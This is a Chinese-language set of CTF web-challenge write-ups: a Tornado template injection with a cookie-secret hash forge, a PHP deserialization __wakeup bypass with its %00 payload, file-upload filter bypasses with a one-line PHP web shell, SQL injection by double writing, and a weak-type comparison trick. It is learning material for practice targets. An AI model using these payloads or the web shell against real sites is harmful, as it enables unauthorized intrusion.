easy_tornado 在hints.txt中发现文件包含,但是需要满足同时输入以下内容 我们不知道cookie_secret所以这里MD5解码一下然后去看一下 
出现不同参数,去tornado查找一下参数看看:
发现cookie_secret,想想有没有获取到这个内容的方法
由于是tornado框架,于是去查询了:
而要访问tornado.web.RequestHandler的对象,需要使用handler,所以这里的payload即为
即可拿到秘钥:
1 2 /flag.txt flag in /fllllllllllllag 
这里写了个脚本:
1 2 3 4 5 6 7 import  hashlibhash_encode='/fllllllllllllag'  hash_encode = hashlib.md5(hash_encode.encode("utf-8" )).hexdigest() hash_co_secret='5b1ce5ca-faa2-4f23-8b87-767c644f4baa' +hash_encode hash_encode=hashlib.md5(hash_co_secret.encode("utf-8" )).hexdigest() print(hash_encode) 
拓展学习: Tornado.web.Application的settings参数:
https://blog.csdn.net/ljphilp/article/details/47103745 
思路整理 在思考这题的时候一直在想赵老师说的遇到不懂的就去查一下相关资料,一直在思考这其中的思考链:
[极客大挑战 2019]PHP 备份文件源码泄露的亚子,于是试了一下几个常见的备份,发现www.zip备份文件泄露 
1 2 3 4 5 <?php    include  'class.php' ;    $select = $_GET['select' ];    $res=unserialize(@$select);    ?>  
反序列化漏洞?再看看其他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class  Name     private  $username = 'nonono' ;     private  $password = 'yesyes' ;     public  function  __construct ($username,$password )         $this ->username = $username;         $this ->password = $password;     }     function  __wakeup (         $this ->username = 'guest' ;     }     function  __destruct (         if  ($this ->password != 100 ) {             echo  "</br>NO!!!hacker!!!</br>" ;             echo  "You name is: " ;             echo  $this ->username;echo  "</br>" ;             echo  "You password is: " ;             echo  $this ->password;echo  "</br>" ;             die ();         }         if  ($this ->username === 'admin' ) {             global  $flag;             echo  $flag;         }else {             echo  "</br>hello my friend~~</br>sorry i can't give you the flag!" ;             die (); 
八成试了,看到这个_wakeup()函数了,这个时候我们需要绕过函数,去看看如何写程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  Name     public  function  __construct ($username,$password )         $this ->username = $username;         $this ->password = $password;     }      } $a=new  Name('admin' ,100 ); $b=serialize($a); $b=str_ireplace(":2:" ,":3:" ,$b); print ($b);?> 
结果:
1 O:+4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 
但是我不管如何尝试都没有回显,于是打开phpstorm手动调试了一下发现是可以进入flag的
这个时候就很懵了,于是去查了一下wp:
**上面是public属性时的username和password参数,下面是private参数的,可以看到Name和username之间都有一个空格,**当我复制到url的时候这个截断就没了,所以需要加个%00
1 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 
一点体会: 在做buu的题目的时候,感觉整体思路是可以有了,但是总是会卡在某些点,比如上面这个,我就不清楚private原来和global有这个不同,以后遇到这中情况,记得去对比一下public,或者看一下和以前做过的题比哪里不一样了,寻找突破点。
upload1 思路:确定白黑名单过滤,若为黑名单,尝试php3,phtml等后缀,修改mime类型绕过图片检查,加入图片文件头等:
1 <script  language ="php" > evla($_POST[a]);</script > 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $file = $_FILES["file" ]; $allowedExts = array ("php" ,"php2" ,"php3" ,"php4" ,"php5" ,"pht" ,"phtm" ); $temp = explode("." , $file["name" ]); $extension = strtolower(end($temp));         $image_type = @exif_imagetype($file["tmp_name" ]); if  ((($file["type" ] == "image/gif" )|| ($file["type" ] == "image/jpeg" ) || ($file["type" ] == "image/jpg" ) || ($file["type" ] == "image/pjpeg" ) || ($file["type" ] == "image/x-png" ) || ($file["type" ] == "image/png" )) &&$file["size" ] < 20480 )     {     if  ($file["error" ] > 0 ){         echo  "ERROR!!!" ;     }     elseif  (in_array($extension, $allowedExts)) {         echo  "NOT!" .$extension."!" ;     }       elseif  (mb_strpos(file_get_contents($file["tmp_name" ]), "<?" ) !== FALSE ) {         echo  "NO! HACKER! your file included '<?'" ;     }     elseif  (!$image_type) {         echo  "Don't lie to me, it's not image at all!!!" ;     }     else {         $fileName='./upload/' .$file['name' ];         move_uploaded_file($file['tmp_name' ],$fileName);          echo  "上传文件名: "  . $file["name" ] . "<br>" ;     } } else {     echo  "Not image!" ; } ?> 
这边需要猜测上传路径,由于页面为upload_file.php,所以这里猜测upload,发现可以连接上:,找到以上源码,学习分析一波:
黑名单,检查MIME类型,检查<?,使用了exif_imagetype函数,这个函数是检查文件的前几个字节,upload里面有介绍过,使用文件马绕过,这里可以使用文件合成以后,再将后缀改回phtml直接上传。
这里再来梳理一下这题的思路吧 :
http 扫描目录,后缀字典,看看有么有隐藏目录,发现/Secret.php
一看就知道要改referer,
中间有个改浏览器的,直接看看哪里有个firefox,然后改一下
babysql 双写绕过+union select
[ACTF2020 新生赛]Upload burp suit改后缀,phtml后缀即可绕过,这里需要抓包改后缀
[ACTF2020 新生赛]BackupFile 备份文件尝试一下 发现index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once  "flag.php" ;if (isset ($_GET['key' ])) {    $key = $_GET['key' ];     if (!is_numeric($key)) {         exit ("Just num!" );     }     $key = intval($key);     $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ;     if ($key == $str) {         echo  $flag;     } } else  {    echo  "Try to find out source file!" ; } 
考察弱类型比较,数字和字符串比较时,遇到字符串会自动截断后面内容,只会进行前面数字的比较